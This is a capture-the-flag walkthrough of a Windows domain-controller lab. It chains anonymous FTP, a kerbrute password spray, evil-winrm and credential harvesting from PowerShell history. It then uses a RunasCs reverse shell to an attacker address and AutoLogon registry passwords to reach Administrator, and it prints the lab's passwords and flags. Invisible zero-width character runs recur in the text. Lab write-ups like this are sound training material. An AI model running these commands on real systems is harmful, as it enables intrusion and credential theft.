Наследие (Legacy)

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-06-04 | Status: Solved Techniques: autologon_credential_extraction, ftp_anonymous_access, kerbrute_password_spray, powershell_history_credential_harvesting, runascs_lateral_movement, smb_admin_share_access, winpeas_enumeration, winrm_shell, zip_comment_password

Summary

Task: Windows AD DC with FTP anonymous access, password spray, lateral movement, and privilege escalation. Solution: FTP anonymous → ZIP comment password → kerbrute spray → WinRM → PS history creds → RunasCs lateral movement → winPEAS AutoLogon registry creds → Administrator SMB access.

Наследие (Legacy) — Hackerlab

Description

"А быть может, каждый из вас уже начал — не заметив этого — тот единственный путь, который предназначен ему судьбой"

Hint1: анонимный доступ (anonymous access) Hint2: От имени другого пользователя (On behalf of another user)

English summary: A Windows Active Directory Domain Controller (Server 2022) with multiple services exposed. The goal is to chain together FTP anonymous access, password spraying, credential harvesting from PowerShell history, lateral movement via RunasCs, and privilege escalation through Windows AutoLogon registry credentials to obtain both user and root flags. The challenge name "Наследие" (Legacy/Inheritance) thematically links to the password pattern L3gacy_true. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: 192.168.2.15 — Domain: codeby.cdb — Hostname: LEGACY

Analysis

Port Scan

Full nmap scan revealed a Windows Server 2022 AD Domain Controller with an unusually exposed FTP service:

AD Enumeration Results

• Domain Admins: Administrator, exited3n
• No AS-REP roastable users
• No Kerberoastable users (no user SPNs)
• No AD CS (Certificate Services)
• No LAPS deployed
• No delegation settings
• leonid.bocharov had SeBackupPrivilege (from GPO)

Solution

Step 1: FTP Anonymous Access → users.zip

Connected to FTP with anonymous credentials. The FTP server contained files shared across multiple challenges. The relevant file for this challenge was users.zip.

 bash read-only • copy allowed Copy
ftp anonymous@192.168.2.15
# Navigate to ftp_s directory, download users.zip

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The ZIP archive contained:

• users.html — AD user dump with ~125 usernames
• users.ps1 — PowerShell script

Critical finding: The ZIP file had a comment embedded in the archive metadata:

Password for newbie users is L3g_etnw

Extracted all 125 usernames from users.html into a wordlist file (one username per line).

Step 2: Password Spray → rimma.leonova

Used kerbrute to spray the password L3g_etnw against all extracted usernames:

 bash read-only • copy allowed Copy
kerbrute passwordspray --dc 192.168.2.15 -d codeby.cdb usernames.txt 'L3g_etnw'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: 1 valid credential out of 125 users — rimma.leonova:L3g_etnw

Verified that rimma.leonova was a member of the Remote Management Users group, granting WinRM access.

Step 3: WinRM Shell → PowerShell History → leonid.bocharov Credentials

Connected via WinRM:

 bash read-only • copy allowed Copy
evil-winrm -i 192.168.2.15 -u rimma.leonova -p 'L3g_etnw'

Explored the filesystem and found PowerShell command history at the standard PSReadLine location:

C:\Users\rimma.leonova\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The history file revealed credentials for another user:

 powershell read-only • copy allowed Copy
$password = ConvertTo-SecureString -String "lgc_Btnw"
Set-ADUser leonid.bocharov -Description $new_pass

New credentials discovered: leonid.bocharov:lgc_Btnw

leonid.bocharov was NOT in the Remote Management Users group, so WinRM was not directly available for this user. This is where Hint 2 ("On behalf of another user") becomes relevant.

Step 4: RunasCs Lateral Movement → User Flag

Since leonid.bocharov couldn't use WinRM directly, uploaded RunasCs.exe to the target via evil-winrm (as rimma.leonova) and used it to execute commands as leonid.bocharov via a reverse shell: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 powershell read-only • copy allowed Copy
# From rimma.leonova's evil-winrm session:
upload RunasCs.exe
./RunasCs.exe "leonid.bocharov" "lgc_Btnw" cmd.exe -r 192.168.100.8:4444

On the attacker machine:

 bash read-only • copy allowed Copy
rlwrap nc -lvnp 4444

Got a shell as codeby\leonid.bocharov. Read the user flag:

type C:\Users\leonid.bocharov\Desktop\user.txt

User flag: CODEBY{Th3_l3gacy_

Step 5: winPEAS → AutoLogon Credentials (Privilege Escalation)

Uploaded and ran winPEAS on the target as leonid.bocharov. The output (~22MB) contained a critical finding under the AutoLogon section — Windows AutoLogon credentials stored in the registry at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Looking for AutoLogon credentials
  Some AutoLogon credentials were found
    DefaultDomainName  : CODEBY
    DefaultUserName    : Administrator
    DefaultPassword    : L3gacy_true

Administrator credentials: Administrator:L3gacy_true

Lesson learned: The winPEAS output was 22MB and initially overlooked. Always search winPEAS output for keywords: AutoLogon, DefaultPassword, Credentials, Password. Pre-staged exploit tools (SpoolFool, PrintNightmare, mimikatz) on the target were red herrings — the actual privesc was much simpler. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 6: SMB as Administrator → Root Flag

Used the Administrator credentials to access the C$ administrative share:

 bash read-only • copy allowed Copy
smbclient //192.168.2.15/C$ -U 'Administrator%L3gacy_true' \
  -c 'get Users\Administrator\Desktop\root.txt -'

Root flag: 1s_all_our5}

Full Attack Chain Diagram

FTP Anonymous → users.zip (ZIP comment: password L3g_etnw)
    ↓
kerbrute Password Spray → rimma.leonova:L3g_etnw
    ↓
evil-winrm (Remote Management Users) → PS History → leonid.bocharov:lgc_Btnw
    ↓
RunasCs reverse shell as leonid.bocharov → user.txt: CODEBY{Th3_l3gacy_
    ↓
winPEAS → AutoLogon registry: Administrator:L3gacy_true
    ↓
smbclient C$ as Administrator → root.txt: 1s_all_our5}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍